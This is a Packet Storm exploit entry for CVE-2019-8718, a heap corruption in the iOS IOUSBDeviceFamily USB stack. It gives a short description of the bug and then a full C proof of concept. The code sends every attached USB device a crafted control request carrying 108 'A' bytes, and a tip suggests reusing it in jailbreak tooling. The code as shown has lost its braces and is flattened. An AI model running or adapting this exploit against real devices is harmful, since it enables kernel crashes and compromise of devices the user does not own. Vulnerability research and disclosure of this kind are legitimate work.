iOS IOUSBDeviceFamily 12.4.1 Heap Corruption Proof Of Concept

Type packetstorm
Reporter Sem Voigtlander
Modified 2019-11-11T00:00:00


                                            `# Exploit Title: iOS IOUSBDeviceFamily 12.4.1 - 'IOInterruptEventSource' Heap Corruption (PoC)  
# Date: 2019-10-29  
# Exploit Author: Sem Voigtlander, Joshua Hill and Raz Mashat  
# Vendor Homepage:  
# Software Link:  
# Version: iOS 13  
# Tested on: iOS 12.4.1  
# CVE : N/A  
# A vulnerable implementation of IOInterruptEventSource on a workloop exists in IOUSBDeviceFamily.  
# The code can be triggered by a local attacker by sending a malicious USB control request to device.  
# It seems the faulting address register is corrupted as result of a heap corruption vulnerability.  
# However, on earlier iOS versions (tested on 12.0.1) we were able to trigger a use after free in reserved->statistics relating to the same vulnerable code too.  
# This bug was found through statically analyzing xnu from public source and optimized USB fuzzing.  
# A proof of concept written in C for macOS is attached, for other platforms python and c code using libusb exists on GitHub (  
Pure IOKit implementation of CVE-2019-8718   
Written by Sem Voigtländer.  
Compile: clang iousbusted.c -o iousbusted -framework IOKit -framework CoreFoundation  
Tip: You can also use this for projects like checkm8 autopwn etc.  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <mach/mach.h>  
#include <IOKit/usb/IOUSBLib.h>  
#include <IOKit/IOCFPlugIn.h>  
#include <CoreFoundation/CoreFoundation.h>  
/* Faster comparissions for 64-bit integers than != and == */  
#define FCOMP(P1,P2) !(P1 ^ P2)  
const char *defaultMsg = "HELLO WORLD";  
/* Method for sending an USB control message to a target device */  
static int send_usb_msg(IOUSBDeviceInterface** dev, int type, int reqno, int val, int idx, const char *msg)  
printf("No device handle given.\n");  
return KERN_FAILURE;  
msg = defaultMsg;  
IOUSBDevRequest req;  
req.bmRequestType = type;  
req.bRequest = reqno;  
req.wValue = val;  
req.wIndex = idx;  
req.wLength = strlen(msg);  
req.pData = msg;  
req.wLenDone = 0;  
IOReturn rc = KERN_SUCCESS;  
rc = (*dev)->DeviceRequest(dev, &req);  
if(rc != KERN_SUCCESS)  
return rc;  
return KERN_SUCCESS;  
static int send_usbusted_pwn_msg(IOUSBDeviceInterface** dev, const char *msg)  
printf("No device handle given.\n");  
return KERN_FAILURE;  
kern_return_t rc = send_usb_msg(dev, 0|0x80, 0x6, 0x30c, 0x409, msg);  
if(rc != kIOReturnSuccess)  
return rc;  
return KERN_SUCCESS;  
/* Print information from an IOKit USB device */  
static int print_usb_device(io_service_t device){  
kern_return_t err = KERN_SUCCESS;  
CFNumberRef vid = 0;  
CFNumberRef pid = 0;  
CFNumberRef locationID = 0;  
CFMutableDictionaryRef p = NULL;  
err = IORegistryEntryCreateCFProperties(device, &p, NULL, 0);  
if(err != KERN_SUCCESS || !p)  
return err;  
if(!CFDictionaryGetValueIfPresent(p, CFSTR("idVendor"), &vid))  
return KERN_FAILURE;  
if(!CFDictionaryGetValueIfPresent(p, CFSTR("idProduct"), &pid))  
return KERN_FAILURE;  
CFDictionaryGetValueIfPresent(p, CFSTR("locationID"), &locationID);  
CFNumberGetValue(vid, kCFNumberSInt32Type, &vid);  
CFNumberGetValue(pid, kCFNumberSInt32Type, &pid); // <-- yes I know this is dirty, I was tired.  
CFNumberGetValue(locationID, kCFNumberSInt32Type, &locationID);  
printf("Got device %#x @ %#x (%#x:%#x)\n", device, locationID, vid, pid);  
return err;  
/* Get a handle for sending to a device */  
static int get_usbdevice_handle(io_service_t device, IOUSBDeviceInterface* dev){  
kern_return_t err = KERN_SUCCESS;  
SInt32 score;  
IOCFPlugInInterface** plugInInterface = NULL;  
err = IOCreatePlugInInterfaceForService(device,  
&plugInInterface, &score);  
if (err != KERN_SUCCESS || plugInInterface == NULL)  
return err;  
err = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID), (LPVOID*)dev);  
if(err != kIOReturnSuccess)  
return err;  
// Now done with the plugin interface.  
//plugInInterface = NULL;  
return KERN_FAILURE;  
return err;  
/* Iterate over all USB devices */  
static int iterate_usb_devices(const char *msg){  
CFMutableDictionaryRef matchingDict;  
io_iterator_t iter;  
kern_return_t kr;  
io_service_t device;  
/* set up a matching dictionary for the class */  
matchingDict = IOServiceMatching(kIOUSBDeviceClassName);  
if (matchingDict == NULL)  
return -1; // fail  
/* Now we have a dictionary, get an iterator.*/  
kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);  
if (kr != KERN_SUCCESS)  
return -1;  
/* iterate */  
while ((device = IOIteratorNext(iter)))  
/* do something with device, eg. check properties */  
kr = print_usb_device(device);  
if(kr != KERN_SUCCESS){  
printf("Skipping device as it has no vid / pid.\n");  
IOUSBDeviceInterface **dev = 0;  
kr = get_usbdevice_handle(device, &dev);  
if(kr != KERN_SUCCESS){  
printf("Skipping device as no handle for it could be retrieved.\n");  
kr = send_usbusted_pwn_msg(dev, msg);  
printf("RET: %s\n\n", mach_error_string(kr));  
/* And free the reference taken before continuing to the next item */  
/* Done, release the iterator */  
return 0;  
int main(int argc, char *argv[]){  
char payload[108];  
memset(&payload, 'A', 108);  
int err = iterate_usb_devices(payload);  
return err;